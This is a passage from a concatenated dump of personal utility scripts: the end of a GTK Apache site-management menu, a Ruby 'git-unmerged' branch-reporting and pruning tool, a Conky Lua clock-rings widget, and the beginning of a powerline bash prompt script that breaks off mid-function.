edit_phpini) 105 | menu.append(phpini_item) 106 | 107 | restart_apache_item = gtk.MenuItem("Restart Apache") 108 | restart_apache_item.connect("activate", restart_apache) 109 | menu.append(restart_apache_item) 110 | 111 | chown_item = gtk.MenuItem("Set ownership to www-data") 112 | chown_item.connect("activate", chown_fix) 113 | menu.append(chown_item) 114 | 115 | separator = gtk.SeparatorMenuItem() 116 | menu.append(separator) 117 | 118 | for site in sitesavailable: 119 | site_item = gtk.ImageMenuItem(site) 120 | menu_icon = gtk.Image() 121 | if site in sitesenabled: 122 | menu_icon.set_from_stock(gtk.STOCK_YES, gtk.ICON_SIZE_SMALL_TOOLBAR) 123 | enabled = True 124 | else: 125 | menu_icon.set_from_stock(gtk.STOCK_NO, gtk.ICON_SIZE_SMALL_TOOLBAR) 126 | enabled = False 127 | site_item.set_image(menu_icon) 128 | site_item.set_use_stock(False) 129 | site_item.set_always_show_image(True) 130 | submenu = gtk.Menu() 131 | 132 | if enabled: 133 | label = "Disable site" 134 | else: 135 | label = "Enable site" 136 | endis_site_item = gtk.MenuItem(label) 137 | endis_site_item.connect("activate",enable_disable,site,site_item) 138 | submenu.append(endis_site_item) 139 | 140 | show_log_item = gtk.MenuItem("Show error log") 141 | show_log_item.connect("activate",show_log,site) 142 | submenu.append(show_log_item) 143 | 144 | clear_log_item = gtk.MenuItem("Clear error log") 145 | clear_log_item.connect("activate",clear_log,site) 146 | submenu.append(clear_log_item) 147 | 148 | website_item = gtk.MenuItem("Go to website") 149 | website_item.connect("activate", browse_website,site) 150 | submenu.append(website_item) 151 | 152 | browse_files_item = gtk.MenuItem("Browse files") 153 | browse_files_item.connect("activate", browse_files,site) 154 | submenu.append(browse_files_item) 155 | 156 | edit_vhost_item = gtk.MenuItem("Edit vhost config") 157 | edit_vhost_item.connect("activate", edit_vhost,site) 158 | submenu.append(edit_vhost_item) 159 | 160 | site_item.set_submenu(submenu) 161 | menu.append(site_item) 162 | 163 | quit_item = gtk.MenuItem("Quit") 164 | quit_item.connect("activate", gtk.main_quit) 165 | 166 | menu.append(quit_item) 167 | ind.set_menu(menu) 168 | 169 | menu.show_all() 170 | gtk.main() 171 | 172 | -------------------------------------------------------------------------------- /git-unmerged: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | require 'rubygems' 4 | 5 | gem 'term-ansicolor', '>=1.0.5' 6 | require 'term/ansicolor' 7 | 8 | class GitCommit 9 | attr_reader :content 10 | 11 | def initialize(content) 12 | @content = content 13 | end 14 | 15 | def sha 16 | @content.split[1] 17 | end 18 | 19 | def to_s 20 | `git log --pretty=format:"%h %ad %an - %s" #{sha}~1..#{sha}` 21 | end 22 | 23 | def unmerged? 24 | content =~ /^\+/ 25 | end 26 | 27 | def equivalent? 28 | content =~ /^\-/ 29 | end 30 | end 31 | 32 | class GitBranch 33 | attr_reader :name, :commits 34 | 35 | def initialize(name, commits) 36 | @name = name 37 | @commits = commits 38 | end 39 | 40 | # Returns origin from origin/some/branch/here 41 | def repository 42 | name.split("/", 2).first 43 | end 44 | 45 | # Returns some/branch/here from origin/some/branch/here 46 | def branch_name 47 | name.split("/", 2).last 48 | end 49 | 50 | def unmerged_commits 51 | commits.select{ |commit| commit.unmerged? } 52 | end 53 | 54 | def equivalent_commits 55 | commits.select{ |commit| commit.equivalent? } 56 | end 57 | 58 | end 59 | 60 | class GitBranches < Array 61 | def self.clean_branch_output(str) 62 | str.split(/\n/).map{ |e| e.strip.gsub(/\*\s+/, '') }.reject{ |branch| branch =~ /\b#{Regexp.escape(UPSTREAM)}\b/ }.sort 63 | end 64 | 65 | def self.local_branches 66 | clean_branch_output `git branch` 67 | end 68 | 69 | def self.remote_branches 70 | clean_branch_output `git branch -r` 71 | end 72 | 73 | def self.load(options) 74 | git_branches = new 75 | branches = if options[:local] 76 | local_branches 77 | elsif options[:remote] 78 | remote_branches 79 | end 80 | 81 | branches.each do |branch| 82 | raw_commits = `git cherry -v #{UPSTREAM} #{branch}`.split(/\n/).map{ |c| GitCommit.new(c) } 83 | git_branches << GitBranch.new(branch, raw_commits) 84 | end 85 | git_branches 86 | end 87 | 88 | def unmerged 89 | reject{ |branch| branch.commits.empty? }.sort_by{ |branch| branch.name } 90 | end 91 | 92 | def any_missing_commits? 93 | select{ |branch| branch.commits.any? }.any? 94 | end 95 | end 96 | 97 | class GitUnmerged 98 | VERSION = "1.1" 99 | 100 | include Term::ANSIColor 101 | 102 | attr_reader :branches 103 | 104 | def initialize(args) 105 | @options = {} 106 | @branches_to_prune = [] 107 | extract_options_from_args(args) 108 | end 109 | 110 | def load 111 | @branches ||= GitBranches.load(:local => local?, :remote => remote?) 112 | @branches.reject!{|b| @options[:exclude].include?(b.name)} if @options[:exclude].is_a?(Array) 113 | @branches.select!{|b| @options[:only].include?(b.name)} if @options[:only].is_a?(Array) 114 | end 115 | 116 | def print_overview 117 | load 118 | if @options[:exclude] && @options[:exclude].length > 0 119 | puts "The following branches have been excluded" 120 | @options[:exclude].each do |branch_name| 121 | puts " #{branch_name}" 122 | end 123 | puts 124 | end 125 | 126 | if @options[:only] && @options[:only].length > 0 127 | puts "The following branches will be compared against:" 128 | @options[:only].each do |branch_name| 129 | puts " #{branch_name}" 130 | end 131 | puts 132 | end 133 | 134 | if branches.any_missing_commits? 135 | puts "The following branches possibly have commits not merged to #{upstream}:" 136 | branches.each do |branch| 137 | num_unmerged = yellow(branch.unmerged_commits.size.to_s) 138 | num_equivalent = green(branch.equivalent_commits.size.to_s) 139 | puts %| #{branch.name} (#{num_unmerged}/#{num_equivalent} commits)| 140 | end 141 | end 142 | end 143 | 144 | def print_help 145 | puts <<-EOT.gsub(/^\s+\|/, '') 146 | |Usage: #{$0} [-a] [--upstream ] [--remote] [--prune] 147 | | 148 | |This script wraps the "git cherry" command. It reports the commits from all local 149 | |branches which have not been merged into an upstream branch. 150 | | 151 | | #{yellow("yellow")} commits have not been merged 152 | | #{green("green")} commits have equivalent changes in but different SHAs 153 | | 154 | |The default upstream is 'master' (or 'origin/master' if running with --remote) 155 | | 156 | |OPTIONS: 157 | | -a display all unmerged commits (verbose) 158 | | --remote (-r) compare remote branches instead of local branches 159 | | --upstream specify a specific upstream branch (defaults to master) 160 | | --exclude [,,...] specify a comma-separated list of branches to exclude 161 | | --only [,,...] specify a comma-separated list of branches to include 162 | | --prune prompts user to delete branches which have no differences with the upstream 163 | | 164 | |EXAMPLE: check for all unmerged commits 165 | | #{$0} 166 | | 167 | |EXAMPLE: check for all unmerged commits and merged commits (but with a different SHA) 168 | | #{$0} -a 169 | | 170 | |EXAMPLE: use a different upstream than master 171 | | #{$0} --upstream otherbranch 172 | | 173 | |EXAMPLE: compare remote branches against origin/master 174 | | #{$0} --remote (-r) 175 | | 176 | |EXAMPLE: delete branches without unmerged commits 177 | | #{$0} --prune 178 | | 179 | |EXAMPLE: delete remote branches without unmerged commits 180 | | #{$0} --remote --prune 181 | | 182 | |GITCONFIG: 183 | | If you name this file git-unmerged and place it somewhere in your PATH 184 | | you will be able to type "git unmerged" to use it. If you'd like to name 185 | | it something else and still refer to it with "git unmerged" then you'll 186 | | need to set up an alias: 187 | | git config --global alias.unmerged \\!#{$0} 188 | | 189 | |Version: #{VERSION} 190 | |Author: Zach Dennis 191 | EOT 192 | exit 193 | end 194 | 195 | def print_version 196 | puts "#{VERSION}" 197 | end 198 | 199 | def branch_description 200 | local? ? "local" : "remote" 201 | end 202 | 203 | def print_specifics 204 | load 205 | 206 | if branches.any_missing_commits? 207 | print_breakdown 208 | else 209 | puts "There are no #{branch_description} branches out of sync with #{upstream}" 210 | end 211 | end 212 | 213 | def print_breakdown 214 | puts "Below is a breakdown for each branch. Here's a legend:" 215 | puts 216 | print_legend 217 | branches.each do |branch| 218 | puts 219 | print "#{branch.name}:" 220 | if branch.unmerged_commits.empty? && !show_equivalent_commits? 221 | print "(no unmerged commits" 222 | if prune? 223 | print ",", red(" this will be pruned") 224 | @branches_to_prune << branch 225 | end 226 | print ")\n" 227 | else 228 | puts 229 | end 230 | branch.unmerged_commits.each { |commit| puts yellow(commit.to_s) } 231 | 232 | if show_equivalent_commits? 233 | branch.equivalent_commits.each do |commit| 234 | puts green(commit.to_s) 235 | end 236 | end 237 | end 238 | end 239 | 240 | def print_legend 241 | load 242 | puts " " + yellow("yellow") + " commits have not been merged" 243 | puts " " + green("green") + " commits have equivalent changes in #{UPSTREAM} but different SHAs" if show_equivalent_commits? 244 | end 245 | 246 | def prune 247 | return unless prune? 248 | if @branches_to_prune.empty? 249 | puts "", "There are no branches to prune." 250 | else 251 | # Protects Heroku repo's 252 | rejected_master_branches = @branches_to_prune.reject!{|branch| branch.branch_name =~ /master/} 253 | puts "", "Are you sure you want to prune the following #{@branches_to_prune.size} branches?", "" 254 | puts red("(Keep in mind this will remove these branches from the remote repository)") if @remote 255 | @branches_to_prune.each do |branch| 256 | puts red(" #{branch.name}") 257 | end 258 | puts "(omitting branches named master)" if rejected_master_branches 259 | puts 260 | print "y or n: " 261 | if STDIN.gets=~/y/i 262 | @branches_to_prune.each do |branch| 263 | if local? 264 | `git branch -D #{branch.name}` 265 | elsif remote? 266 | puts "pruning: #{branch.branch_name} with 'git push #{branch.repository} :#{branch.branch_name}'" 267 | `git push #{branch.repository} :#{branch.branch_name}` 268 | end 269 | end 270 | puts "", "Pruned #{@branches_to_prune.size} branches." 271 | else 272 | puts "", "Pruning aborted. All branches were left unharmed." 273 | end 274 | end 275 | end 276 | 277 | def prune? ; @options[:prune ] ; end 278 | def show_help? ; @options[:show_help] ; end 279 | def show_equivalent_commits? ; @options[:show_equivalent_commits] ; end 280 | def show_version? ; @options[:show_version] ; end 281 | 282 | def upstream 283 | if @options[:upstream] 284 | @options[:upstream] 285 | elsif local? 286 | "master" 287 | elsif remote? 288 | "origin/master" 289 | end 290 | end 291 | 292 | private 293 | 294 | def extract_options_from_args(args) 295 | if args.include?("--remote") || args.include?("-r") 296 | @options[:remote] = true 297 | else 298 | @options[:local] = true 299 | end 300 | 301 | @options[:prune] = true if args.include?("--prune") 302 | @options[:show_help] = true if args.include?("-h") || args.include?("--help") 303 | @options[:show_equivalent_commits] = true if args.include?("-a") 304 | @options[:show_version] = true if args.include?("-v") || args.include?("--version") 305 | 306 | if index=args.index("--upstream") 307 | @options[:upstream] = args[index+1] 308 | end 309 | 310 | if index=args.index("--exclude") 311 | @options[:exclude] = args[index+1].split(',') 312 | end 313 | 314 | if index=args.index("--only") 315 | @options[:only] = args[index+1].split(',') 316 | end 317 | end 318 | 319 | def local? ; @options[:local] ; end 320 | def remote? ; @options[:remote] ; end 321 | end 322 | 323 | 324 | unmerged = GitUnmerged.new ARGV 325 | UPSTREAM = unmerged.upstream 326 | if unmerged.show_help? 327 | unmerged.print_help 328 | exit 329 | elsif unmerged.show_version? 330 | unmerged.print_version 331 | exit 332 | else 333 | unmerged.print_overview 334 | puts 335 | unmerged.print_specifics 336 | unmerged.prune 337 | end 338 | -------------------------------------------------------------------------------- /conky/clock_rings.lua: -------------------------------------------------------------------------------- 1 | --[[ 2 | Clock Rings by londonali1010 (2009) 3 | 4 | This script draws percentage meters as rings, and also draws clock hands if you 5 | want! It is fully customisable; all options are described in the script. This 6 | script is based off a combination of my clock.lua script and my rings.lua 7 | script. 8 | 9 | IMPORTANT: if you are using the 'cpu' function, it will cause a segmentation 10 | fault if it tries to draw a ring straight away. The if statement near the end 11 | of the script uses a delay to make sure that this doesn't happen. It calculates 12 | the length of the delay by the number of updates since Conky started. 13 | Generally, a value of 5s is long enough, so if you update Conky every 1s, use 14 | update_num > 5 in that if statement (the default). If you only update Conky 15 | every 2s, you should change it to update_num > 3; conversely if you update 16 | Conky every 0.5s, you should use update_num > 10. ALSO, if you change your 17 | Conky, is it best to use "killall conky; conky" to update it, otherwise the 18 | update_num will not be reset and you will get an error. 19 | 20 | To call this script in Conky, use the following (assuming that you save this 21 | script to ~/scripts/rings.lua): 22 | lua_load ~/scripts/clock_rings-v1.1.1.lua 23 | lua_draw_hook_pre clock_rings 24 | 25 | Changelog: 26 | + v1.1.1 -- Fixed minor bug that caused the script to crash if conky_parse() 27 | returns a nil value (20.10.2009) + v1.1 -- Added colour option for 28 | clock hands (07.10.2009) 29 | + v1.0 -- Original release (30.09.2009) 30 | ]] 31 | 32 | settings_table = { 33 | { 34 | -- Edit this table to customise your rings. 35 | -- You can create more rings simply by adding more elements to settings_table. 36 | -- "name" is the type of stat to display; you can choose from 'cpu', 'memperc', 'fs_used_perc', 'battery_used_perc'. 37 | name='time', 38 | -- "arg" is the argument to the stat type, e.g. if in Conky you would write ${cpu cpu0}, 'cpu0' would be the argument. If you would not use an argument in the Conky variable, use ''. 39 | arg='%I.%M', 40 | -- "max" is the maximum value of the ring. If the Conky variable outputs a percentage, use 100. 41 | max=12, 42 | -- "bg_colour" is the colour of the base ring. 43 | bg_colour=0xffffff, 44 | -- "bg_alpha" is the alpha value of the base ring. 45 | bg_alpha=0.1, 46 | -- "fg_colour" is the colour of the indicator part of the ring. 47 | fg_colour=0xffffff, 48 | -- "fg_alpha" is the alpha value of the indicator part of the ring. 49 | fg_alpha=0.2, 50 | -- "x" and "y" are the x and y coordinates of the centre of the ring, relative to the top left corner of the Conky window. 51 | x=160, y=155, 52 | -- "radius" is the radius of the ring. 53 | radius=50, 54 | -- "thickness" is the thickness of the ring, centred around the radius. 55 | thickness=5, 56 | -- "start_angle" is the starting angle of the ring, in degrees, clockwise from top. Value can be either positive or negative. 57 | start_angle=0, 58 | -- "end_angle" is the ending angle of the ring, in degrees, clockwise from top. Value can be either positive or negative, but must be larger than start_angle. 59 | end_angle=360 60 | }, 61 | { 62 | name='time', 63 | arg='%M.%S', 64 | max=60, 65 | bg_colour=0xffffff, 66 | bg_alpha=0.1, 67 | fg_colour=0xffffff, 68 | fg_alpha=0.4, 69 | x=160, y=155, 70 | radius=56, 71 | thickness=5, 72 | start_angle=0, 73 | end_angle=360 74 | }, 75 | { 76 | name='time', 77 | arg='%S', 78 | max=60, 79 | bg_colour=0xffffff, 80 | bg_alpha=0.1, 81 | fg_colour=0xffffff, 82 | fg_alpha=0.6, 83 | x=160, y=155, 84 | radius=62, 85 | thickness=5, 86 | start_angle=0, 87 | end_angle=360 88 | }, 89 | { 90 | name='cpu', 91 | arg='cpu0', 92 | max=100, 93 | bg_colour=0xffffff, 94 | bg_alpha=0.2, 95 | fg_colour=0xffffff, 96 | fg_alpha=0.5, 97 | x=160, y=155, 98 | radius=75, 99 | thickness=5, 100 | start_angle=93, 101 | end_angle=208 102 | }, 103 | { 104 | name='cpu', 105 | arg='cpu1', 106 | max=100, 107 | bg_colour=0xffffff, 108 | bg_alpha=0.2, 109 | fg_colour=0xffffff, 110 | fg_alpha=0.5, 111 | x=160, y=155, 112 | radius=81, 113 | thickness=5, 114 | start_angle=93, 115 | end_angle=208 116 | }, 117 | { 118 | name='cpu', 119 | arg='cpu2', 120 | max=100, 121 | bg_colour=0xffffff, 122 | bg_alpha=0.2, 123 | fg_colour=0xffffff, 124 | fg_alpha=0.5, 125 | x=160, y=155, 126 | radius=87, 127 | thickness=5, 128 | start_angle=93, 129 | end_angle=208 130 | }, 131 | { 132 | name='cpu', 133 | arg='cpu3', 134 | max=100, 135 | bg_colour=0xffffff, 136 | bg_alpha=0.2, 137 | fg_colour=0xffffff, 138 | fg_alpha=0.5, 139 | x=160, y=155, 140 | radius=93, 141 | thickness=5, 142 | start_angle=93, 143 | end_angle=208 144 | }, 145 | --[[ 146 | { 147 | name='cpu', 148 | arg='cpu0', 149 | max=100, 150 | bg_colour=0xffffff, 151 | bg_alpha=0.1, 152 | fg_colour=0xffffff, 153 | fg_alpha=0.4, 154 | x=840, y=170, 155 | radius=84.5, 156 | thickness=8, 157 | start_angle=60, 158 | end_angle=120 159 | }, ]] 160 | { 161 | name='memperc', 162 | arg='', 163 | max=100, 164 | bg_colour=0xffffff, 165 | bg_alpha=0.2, 166 | fg_colour=0xffffff, 167 | fg_alpha=0.5, 168 | x=160, y=155, 169 | radius=78.5, 170 | thickness=11, 171 | start_angle=212, 172 | end_angle=329 173 | }, --[[ 174 | { 175 | name='battery_percent', 176 | arg='BAT1', 177 | max=100, 178 | bg_colour=0xffffff, 179 | bg_alpha=0.2, 180 | fg_colour=0xffffff, 181 | fg_alpha=0.5, 182 | x=160, y=155, 183 | radius=78.5, 184 | thickness=11, 185 | start_angle=-27, 186 | end_angle=85 187 | }, 188 | { 189 | name='', 190 | arg='', 191 | max=1, 192 | bg_colour=0xd5dcde, 193 | bg_alpha=1, 194 | fg_colour=0xd5dcde, 195 | fg_alpha=1, 196 | x=160, y=155, 197 | radius=120, 198 | thickness=2, 199 | start_angle=75, 200 | end_angle=105 201 | }, 202 | { 203 | name='', 204 | arg='', 205 | max=1, 206 | bg_colour=0xffffff, 207 | bg_alpha=1, 208 | fg_colour=0xffffff, 209 | fg_alpha=1, 210 | x=160, y=155, 211 | radius=403, 212 | thickness=2, 213 | start_angle=86, 214 | end_angle=94 215 | }, 216 | { 217 | name='time', 218 | arg='%m', 219 | max=12, 220 | bg_colour=0xffffff, 221 | bg_alpha=0.1, 222 | fg_colour=0xffffff, 223 | fg_alpha=0.8, 224 | x=840, y=170, 225 | radius=76, 226 | thickness=5, 227 | start_angle=212, 228 | end_angle=360 229 | }, ]] 230 | { 231 | name='fs_used_perc', 232 | arg='/', 233 | max=100, 234 | bg_colour=0xffffff, 235 | bg_alpha=0.2, 236 | fg_colour=0xffffff, 237 | fg_alpha=0.5, 238 | x=160, y=155, 239 | radius=105, 240 | thickness=5, 241 | start_angle=-120, 242 | end_angle=-13 243 | }, 244 | { 245 | name='fs_used_perc', 246 | arg='/media/sourcecode', 247 | max=100, 248 | bg_colour=0xffffff, 249 | bg_alpha=0.2, 250 | fg_colour=0xffffff, 251 | fg_alpha=0.5, 252 | x=160, y=155, 253 | radius=105, 254 | thickness=5, 255 | start_angle=-10, 256 | end_angle=120 257 | }, 258 | } 259 | 260 | -- Use these settings to define the origin and extent of your clock. 261 | 262 | clock_r=125 263 | 264 | -- "clock_x" and "clock_y" are the coordinates of the centre of the clock, in pixels, from the top left of the Conky window. 265 | 266 | clock_x=160 267 | clock_y=155 268 | 269 | -- Colour & alpha of the clock hands 270 | 271 | clock_colour=0xffffff 272 | clock_alpha=0.5 273 | 274 | -- Do you want to show the seconds hand? 275 | 276 | show_seconds=true 277 | 278 | require 'cairo' 279 | 280 | function rgb_to_r_g_b(colour,alpha) 281 | return ((colour / 0x10000) % 0x100) / 255., ((colour / 0x100) % 0x100) / 255., (colour % 0x100) / 255., alpha 282 | end 283 | 284 | function draw_ring(cr,t,pt) 285 | local w,h=conky_window.width,conky_window.height 286 | 287 | local xc,yc,ring_r,ring_w,sa,ea=pt['x'],pt['y'],pt['radius'],pt['thickness'],pt['start_angle'],pt['end_angle'] 288 | local bgc, bga, fgc, fga=pt['bg_colour'], pt['bg_alpha'], pt['fg_colour'], pt['fg_alpha'] 289 | 290 | local angle_0=sa*(2*math.pi/360)-math.pi/2 291 | local angle_f=ea*(2*math.pi/360)-math.pi/2 292 | local t_arc=t*(angle_f-angle_0) 293 | 294 | -- Draw background ring 295 | 296 | cairo_arc(cr,xc,yc,ring_r,angle_0,angle_f) 297 | cairo_set_source_rgba(cr,rgb_to_r_g_b(bgc,bga)) 298 | cairo_set_line_width(cr,ring_w) 299 | cairo_stroke(cr) 300 | 301 | -- Draw indicator ring 302 | 303 | cairo_arc(cr,xc,yc,ring_r,angle_0,angle_0+t_arc) 304 | cairo_set_source_rgba(cr,rgb_to_r_g_b(fgc,fga)) 305 | cairo_stroke(cr) 306 | end 307 | 308 | function draw_clock_hands(cr,xc,yc) 309 | local secs,mins,hours,secs_arc,mins_arc,hours_arc 310 | local xh,yh,xm,ym,xs,ys 311 | 312 | secs=os.date("%S") 313 | mins=os.date("%M") 314 | hours=os.date("%I") 315 | 316 | secs_arc=(2*math.pi/60)*secs 317 | mins_arc=(2*math.pi/60)*mins+secs_arc/60 318 | hours_arc=(2*math.pi/12)*hours+mins_arc/12 319 | 320 | -- Draw hour hand 321 | 322 | xh=xc+0.7*clock_r*math.sin(hours_arc) 323 | yh=yc-0.7*clock_r*math.cos(hours_arc) 324 | cairo_move_to(cr,xc,yc) 325 | cairo_line_to(cr,xh,yh) 326 | 327 | cairo_set_line_cap(cr,CAIRO_LINE_CAP_ROUND) 328 | cairo_set_line_width(cr,5) 329 | cairo_set_source_rgba(cr,rgb_to_r_g_b(clock_colour,clock_alpha)) 330 | cairo_stroke(cr) 331 | 332 | -- Draw minute hand 333 | 334 | xm=xc+clock_r*math.sin(mins_arc) 335 | ym=yc-clock_r*math.cos(mins_arc) 336 | cairo_move_to(cr,xc,yc) 337 | cairo_line_to(cr,xm,ym) 338 | 339 | cairo_set_line_width(cr,3) 340 | cairo_stroke(cr) 341 | 342 | -- Draw seconds hand 343 | 344 | if show_seconds then 345 | xs=xc+clock_r*math.sin(secs_arc) 346 | ys=yc-clock_r*math.cos(secs_arc) 347 | cairo_move_to(cr,xc,yc) 348 | cairo_line_to(cr,xs,ys) 349 | 350 | cairo_set_line_width(cr,1) 351 | cairo_stroke(cr) 352 | end 353 | end 354 | 355 | function conky_clock_rings() 356 | local function setup_rings(cr,pt) 357 | local str='' 358 | local value=0 359 | 360 | str=string.format('${%s %s}', pt['name'], pt['arg']) 361 | str=conky_parse(str) 362 | 363 | value=tonumber(str) 364 | if value == nil then value = 0 end 365 | pct=value/pt['max'] 366 | 367 | draw_ring(cr,pct,pt) 368 | end 369 | 370 | -- Check that Conky has been running for at least 5s 371 | 372 | if conky_window==nil then return end 373 | local cs=cairo_xlib_surface_create(conky_window.display, 374 | conky_window.drawable, 375 | conky_window.visual, 376 | conky_window.width, 377 | conky_window.height) 378 | 379 | local cr=cairo_create(cs) 380 | 381 | local updates=conky_parse('${updates}') 382 | update_num=tonumber(updates) 383 | 384 | if update_num > 5 then 385 | for i in pairs(settings_table) do 386 | setup_rings(cr,settings_table[i]) 387 | end 388 | end 389 | 390 | draw_clock_hands(cr,clock_x,clock_y) 391 | end 392 | -------------------------------------------------------------------------------- /powerline-bash.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import os 5 | import subprocess 6 | import sys 7 | import re 8 | import argparse 9 | 10 | 11 | def warn(msg): 12 | print '[powerline-bash] ', msg 13 | 14 | 15 | class Color: 16 | # The following link is a pretty good resources for color values: 17 | # http://www.calmar.ws/vim/color-output.png 18 | 19 | PATH_BG = 23 # dark grey 20 | PATH_FG = 250 # light grey 21 | CWD_FG = 6 # nearly-white grey 22 | SEPARATOR_FG = 244 23 | 24 | REPO_CLEAN_BG = 148 # a light green color 25 | REPO_CLEAN_FG = 0 # black 26 | REPO_DIRTY_BG = 161 # pink/red 27 | REPO_DIRTY_FG = 15 # white 28 | 29 | CMD_PASSED_BG = 24 30 | CMD_PASSED_FG = 11 31 | CMD_FAILED_BG = 161 32 | CMD_FAILED_FG = 15 33 | 34 | SVN_CHANGES_BG = 148 35 | SVN_CHANGES_FG = 22 # dark green 36 | 37 | VIRTUAL_ENV_BG = 35 # a mid-tone green 38 | VIRTUAL_ENV_FG = 22 39 | 40 | 41 | class Powerline: 42 | symbols = { 43 | 'compatible': { 44 | 'separator': u'\u25B6', 45 | 'separator_thin': u'\u276F' 46 | }, 47 | 'patched': { 48 | 'separator': u'\u2B80', 49 | 'separator_thin': u'\u2B81' 50 | } 51 | } 52 | 53 | color_templates = { 54 | 'bash': '\\[\\e%s\\]', 55 | 'zsh': '%%{%s%%}', 56 | 'bare': '%s', 57 | } 58 | 59 | root_indicators = { 60 | 'bash': ' \\$ ', 61 | 'zsh': ' \\$ ', 62 | 'bare': ' $ ', 63 | } 64 | 65 | def __init__(self, mode, shell): 66 | self.shell = shell 67 | self.color_template = self.color_templates[shell] 68 | self.root_indicator = self.root_indicators[shell] 69 | self.reset = self.color_template % '[0m' 70 | self.separator = Powerline.symbols[mode]['separator'] 71 | self.separator_thin = Powerline.symbols[mode]['separator_thin'] 72 | self.segments = [] 73 | 74 | def color(self, prefix, code): 75 | return self.color_template % ('[%s;5;%sm' % (prefix, code)) 76 | 77 | def fgcolor(self, code): 78 | return self.color('38', code) 79 | 80 | def bgcolor(self, code): 81 | return self.color('48', code) 82 | 83 | def append(self, segment): 84 | self.segments.append(segment) 85 | 86 | def draw(self): 87 | shifted = self.segments[1:] + [None] 88 | return (''.join((c.draw(n) for c, n in zip(self.segments, shifted))) 89 | + self.reset).encode('utf-8') 90 | 91 | 92 | class Segment: 93 | def __init__(self, powerline, content, fg, bg, separator=None, 94 | separator_fg=None): 95 | self.powerline = powerline 96 | self.content = content 97 | self.fg = fg 98 | self.bg = bg 99 | self.separator = separator or powerline.separator 100 | self.separator_fg = separator_fg or bg 101 | 102 | def draw(self, next_segment=None): 103 | if next_segment: 104 | separator_bg = self.powerline.bgcolor(next_segment.bg) 105 | else: 106 | separator_bg = self.powerline.reset 107 | 108 | return ''.join(( 109 | self.powerline.fgcolor(self.fg), 110 | self.powerline.bgcolor(self.bg), 111 | self.content, 112 | separator_bg, 113 | self.powerline.fgcolor(self.separator_fg), 114 | self.separator)) 115 | 116 | 117 | def add_cwd_segment(powerline, cwd, maxdepth, cwd_only=False): 118 | #powerline.append(' \\w ', 15, 237) 119 | home = os.getenv('HOME') 120 | cwd = cwd or os.getenv('PWD') 121 | cwd = cwd.decode('utf-8') 122 | 123 | if cwd.find(home) == 0: 124 | cwd = cwd.replace(home, '~', 1) 125 | 126 | if cwd[0] == '/': 127 | cwd = cwd[1:] 128 | 129 | names = cwd.split('/') 130 | if len(names) > maxdepth: 131 | names = names[:2] + [u'\u2026'] + names[2 - maxdepth:] 132 | 133 | if not cwd_only: 134 | for n in names[:-1]: 135 | powerline.append( 136 | Segment(powerline, ' %s ' % n, Color.PATH_FG, 137 | Color.PATH_BG, powerline.separator_thin, 138 | Color.SEPARATOR_FG) 139 | ) 140 | powerline.append(Segment(powerline, ' %s ' % names[-1], Color.CWD_FG, 141 | Color.PATH_BG)) 142 | 143 | 144 | def get_hg_status(): 145 | has_modified_files = False 146 | has_untracked_files = False 147 | has_missing_files = False 148 | output = subprocess.Popen(['hg', 'status'], 149 | stdout=subprocess.PIPE).communicate()[0] 150 | for line in output.split('\n'): 151 | if line == '': 152 | continue 153 | elif line[0] == '?': 154 | has_untracked_files = True 155 | elif line[0] == '!': 156 | has_missing_files = True 157 | else: 158 | has_modified_files = True 159 | return has_modified_files, has_untracked_files, has_missing_files 160 | 161 | 162 | def add_hg_segment(powerline, cwd): 163 | branch = os.popen('hg branch 2> /dev/null').read().rstrip() 164 | if len(branch) == 0: 165 | return False 166 | bg = Color.REPO_CLEAN_BG 167 | fg = Color.REPO_CLEAN_FG 168 | has_modified_files, has_untracked_files, has_missing_files = get_hg_status() 169 | if has_modified_files or has_untracked_files or has_missing_files: 170 | bg = Color.REPO_DIRTY_BG 171 | fg = Color.REPO_DIRTY_FG 172 | extra = '' 173 | if has_untracked_files: 174 | extra += '+' 175 | if has_missing_files: 176 | extra += '!' 177 | branch += (' ' + extra if extra != '' else '') 178 | powerline.append(Segment(powerline, ' %s ' % branch, fg, bg)) 179 | return True 180 | 181 | 182 | def get_bzr_status(): 183 | has_modified_files = False 184 | has_untracked_files = False 185 | has_missing_files = False 186 | output = subprocess.Popen(['bzr', 'status', '-S'], 187 | stdout=subprocess.PIPE).communicate()[0] 188 | for line in output.split('\n'): 189 | if line == '': 190 | continue 191 | elif line[1] == 'M': 192 | has_untracked_files = True 193 | elif line[1] == 'D': 194 | has_missing_files = True 195 | else: 196 | has_modified_files = True 197 | return has_modified_files, has_untracked_files, has_missing_files 198 | 199 | 200 | def add_bzr_segment(powerline, cwd): 201 | if not os.path.exists(".bzr"): 202 | return False 203 | revno = os.popen('bzr revno 2> /dev/null').read().strip() 204 | bg = Color.REPO_CLEAN_BG 205 | fg = Color.REPO_CLEAN_FG 206 | has_modified_files, \ 207 | has_untracked_files, \ 208 | has_missing_files = get_bzr_status() 209 | if has_modified_files or has_untracked_files or has_missing_files: 210 | bg = Color.REPO_DIRTY_BG 211 | fg = Color.REPO_DIRTY_FG 212 | extra = '' 213 | if has_untracked_files: 214 | extra += '+' 215 | if has_missing_files: 216 | extra += '!' 217 | revno += (' ' + extra if extra != '' else '') 218 | powerline.append(Segment(powerline, ' r%s ' % revno, fg, bg)) 219 | return True 220 | 221 | 222 | def get_git_status(): 223 | has_pending_commits = True 224 | has_untracked_files = False 225 | origin_position = "" 226 | output = subprocess.Popen(['git', 'status', '--ignore-submodules'], 227 | stdout=subprocess.PIPE).communicate()[0] 228 | for line in output.split('\n'): 229 | origin_status = re.findall( 230 | r"Your branch is (ahead|behind).*?(\d+) comm", line 231 | ) 232 | if origin_status: 233 | origin_position = " %d" % int(origin_status[0][1]) 234 | if origin_status[0][0] == 'behind': 235 | origin_position += u'\u21E3' 236 | if origin_status[0][0] == 'ahead': 237 | origin_position += u'\u21E1' 238 | 239 | if line.find('nothing to commit') >= 0: 240 | has_pending_commits = False 241 | if line.find('Untracked files') >= 0: 242 | has_untracked_files = True 243 | return has_pending_commits, has_untracked_files, origin_position 244 | 245 | 246 | def add_git_segment(powerline, cwd): 247 | #cmd = "git branch 2> /dev/null | grep -e '\\*'" 248 | p1 = subprocess.Popen(['git', 'branch'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) 249 | p2 = subprocess.Popen(['grep', '-e', '\\*'], stdin=p1.stdout, stdout=subprocess.PIPE) 250 | output = p2.communicate()[0].strip() 251 | if not output: 252 | return False 253 | 254 | branch = output.rstrip()[2:] 255 | has_pending_commits, 